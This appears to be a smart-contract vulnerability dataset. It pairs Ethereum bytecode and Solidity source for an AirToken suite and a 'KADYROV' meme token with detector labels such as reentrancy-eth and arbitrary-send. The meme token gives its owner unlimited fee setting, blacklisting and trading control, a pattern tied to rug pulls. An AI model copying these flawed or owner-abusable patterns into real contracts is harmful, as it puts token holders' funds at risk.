60850152505050608001529392505050565b60008219821115611cf457611cf4611d72565b500190565b600082611d0857611d08611d88565b500490565b6000816000190483118215151615611d2757611d27611d72565b500290565b600082821015611d3e57611d3e611d72565b500390565b6000600019821415611d5757611d57611d72565b5060010190565b600082611d6d57611d6d611d88565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461063e57600080fd5b801515811461063e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cdfa335b9d11f1e003e5240536023ae3d48dc81af13215487fea275fe1ea025b64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,882
0x7f2e9820c99c8abcd9d5467dd38f1a928d2a7197
// Copyright New Alchemy Limited, 2017. All rights reserved. pragma solidity >=0.4.10; // from Zeppelin contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } // In case someone accidentally sends token to one of these contracts, // add a way to get them back out. contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event TransferInternalLedgerAT(address indexed _from, address _to, uint256 indexed _value, bytes32 indexed mdn); event Approval(address indexed owner, address indexed spender, uint value); } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { // Set these appropriately before you deploy string constant public name = "AirToken"; uint8 constant public decimals = 8; string constant public symbol = "AIR"; Controller public controller; string public motd; address public atFundDeposit; event Motd(string message); // functions below this line are onlyOwner // set "message of the day" function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } function setBeneficiary(address _beneficiary) onlyOwner { atFundDeposit = _beneficiary; } // functions below this line are public function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { // promote safe user behavior if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function burn(uint _amount) notPaused { controller.burn(msg.sender, _amount); Transfer(msg.sender, 0x0, _amount); } function transferToInternalLedger(uint256 _value, bytes32 _mdn) external returns (bool success) { require(atFundDeposit != 0); if (transfer(atFundDeposit, _value)) { TransferInternalLedgerAT(msg.sender, atFundDeposit, _value, _mdn); return true; } return false; } // functions below this line are onlyController modifier onlyController() { assert(msg.sender == address(controller)); _; } // In the future, when the controller supports multiple token // heads, allow the controller to reconstitute the transfer and // approval history. function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } } contract Controller is Owned, Finalizable { Ledger public ledger; Token public token; function Controller() { } // functions below this line are onlyOwner function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } // public functions function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } // functions below this line are onlyLedger // let the ledger send transfer events (the most obvious case // is when we mint directly to the ledger and need the Transfer() // events to appear in the token) function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } // functions below this line are onlyToken function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) onlyToken { ledger.burn(_owner, _amount); } } contract Ledger is Owned, SafeMath, Finalizable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; // functions below this line are onlyOwner function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } // functions below this line are onlyController modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { // require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function burn(address _owner, uint _amount) onlyController { balanceOf[_owner] = safeSub(balanceOf[_owner], _amount); totalSupply = safeSub(totalSupply, _amount); } }
0x606060405236156100eb5763ffffffff60e060020a600035041663144fa6d781146100f057806315dacbea1461011157806318160ddd146101535780633246887d146101785780634bb278f31461019957806356397c35146101ae57806370a08231146101dd57806379ba50971461020e5780638da5cb5b146102235780639dc29fac14610252578063a6f9dae114610276578063b3f05b9714610297578063bcdd6121146102be578063beabacc8146102fa578063dd62ed3e14610336578063e1f21c671461036d578063f019c267146103a9578063f5c86d2a146103e5578063fc0c546a1461040f575b600080fd5b34156100fb57600080fd5b61010f600160a060020a036004351661043e565b005b341561011c57600080fd5b61013f600160a060020a0360043581169060243581169060443516606435610486565b604051901515815260200160405180910390f35b341561015e57600080fd5b61016661053d565b60405190815260200160405180910390f35b341561018357600080fd5b61010f600160a060020a03600435166105a7565b005b34156101a457600080fd5b61010f6105ef565b005b34156101b957600080fd5b6101c1610643565b604051600160a060020a03909116815260200160405180910390f35b34156101e857600080fd5b610166600160a060020a0360043516610652565b60405190815260200160405180910390f35b341561021957600080fd5b61010f6106cf565b005b341561022e57600080fd5b6101c1610719565b604051600160a060020a03909116815260200160405180910390f35b341561025d57600080fd5b61010f600160a060020a0360043516602435610728565b005b341561028157600080fd5b61010f600160a060020a03600435166107b3565b005b34156102a257600080fd5b61013f6107fb565b604051901515815260200160405180910390f35b34156102c957600080fd5b61013f600160a060020a036004358116906024351660443561081c565b604051901515815260200160405180910390f35b341561030557600080fd5b61013f600160a060020a03600435811690602435166044356108cb565b604051901515815260200160405180910390f35b341561034157600080fd5b610166600160a060020a036004358116906024351661097a565b60405190815260200160405180910390f35b341561037857600080fd5b61013f600160a060020a0360043581169060243516604435610a00565b604051901515815260200160405180910390f35b34156103b457600080fd5b61013f600160a060020a0360043581169060243516604435610aaf565b604051901515815260200160405180910390f35b34156103f057600080fd5b61010f600160a060020a0360043581169060243516604435610b5e565b005b341561041a57600080fd5b6101c1610bf7565b604051600160a060020a03909116815260200160405180910390f35b60005433600160a060020a0390811691161461045957600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60035460009033600160a060020a039081169116146104a457600080fd5b600254600160a060020a03166315dacbea8686868660006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561051757600080fd5b6102c65a03f1151561052857600080fd5b50505060405180519150505b5b949350505050565b600254600090600160a060020a03166318160ddd82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561058757600080fd5b6102c65a03f1151561059857600080fd5b50505060405180519150505b90565b60005433600160a060020a039081169116146105c257600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60005433600160a060020a0390811691161461060a57600080fd5b6001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b5b565b600254600160a060020a031681565b600254600090600160a060020a03166370a0823183836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106ad57600080fd5b6102c65a03f115156106be57600080fd5b50505060405180519150505b919050565b60015433600160a060020a0390811691161415610640576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b565b600054600160a060020a031681565b60035433600160a060020a0390811691161461074357600080fd5b600254600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561079957600080fd5b6102c65a03f115156107aa57600080fd5b5050505b5b5050565b60005433600160a060020a039081169116146107ce57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60015474010000000000000000000000000000000000000000900460ff1681565b60035460009033600160a060020a0390811691161461083a57600080fd5b600254600160a060020a031663bcdd612185858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60035460009033600160a060020a039081169116146108e957600080fd5b600254600160a060020a031663beabacc885858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b600254600090600160a060020a031663dd62ed3e8484846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156109dd57600080fd5b6102c65a03f115156109ee57600080fd5b50505060405180519150505b92915050565b60035460009033600160a060020a03908116911614610a1e57600080fd5b600254600160a060020a031663e1f21c6785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60035460009033600160a060020a03908116911614610acd57600080fd5b600254600160a060020a031663f019c26785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519150505b5b9392505050565b60025433600160a060020a03908116911614610b7957600080fd5b600354600160a060020a0316639b50438784848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610bdc57600080fd5b6102c65a03f11515610bed57600080fd5b5050505b5b505050565b600354600160a060020a0316815600a165627a7a7230582040dedeea9b7b3209fac723e17c7ed1af9a33938f906dab0ad653ed17fbd1e2250029
{"success": true, "error": null, "results": {}}
8,883
0x6ca0b6b25040e9bf1e091cd17967d818fbad8a6c
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ /* $KADRYOV https://twitter.com/elonmusk/status/1503828461235982339?cxt=HHwWhsC-sZKB1t4pAAAA Musk Tweeted */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract elonramzan is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ramzan Kadyrov"; string private constant _symbol = "KADYROV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xEFE7A5c8cB7fcC671F79ec36E8D0aAd638Bc92EE); address payable private _marketingAddress = payable(0xEFE7A5c8cB7fcC671F79ec36E8D0aAd638Bc92EE); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50000000 * 10**9; uint256 public _maxWalletSize = 100000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b757600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611966565b610602565b005b34801561020a57600080fd5b5060408051808201909152600e81526d2930b6bd30b71025b0b23cb937bb60911b60208201525b60405161023e9190611a2b565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a80565b6106a1565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611aac565b6106b8565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611aed565b610721565b34801561037257600080fd5b506101fc610381366004611b1a565b61076c565b34801561039257600080fd5b506101fc6107b4565b3480156103a757600080fd5b506102c66103b6366004611aed565b6107ff565b3480156103c757600080fd5b506101fc610821565b3480156103dc57600080fd5b506101fc6103eb366004611b35565b610895565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611aed565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b1a565b6108c4565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600781526625a0a22ca927ab60c91b6020820152610231565b3480156104c357600080fd5b506101fc6104d2366004611b35565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611b4e565b61093b565b34801561050357600080fd5b50610267610512366004611a80565b610979565b34801561052357600080fd5b50610267610532366004611aed565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611b80565b6109da565b34801561058857600080fd5b506102c6610597366004611c04565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611b35565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611aed565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611c3d565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611c72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611c9e565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611db8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e5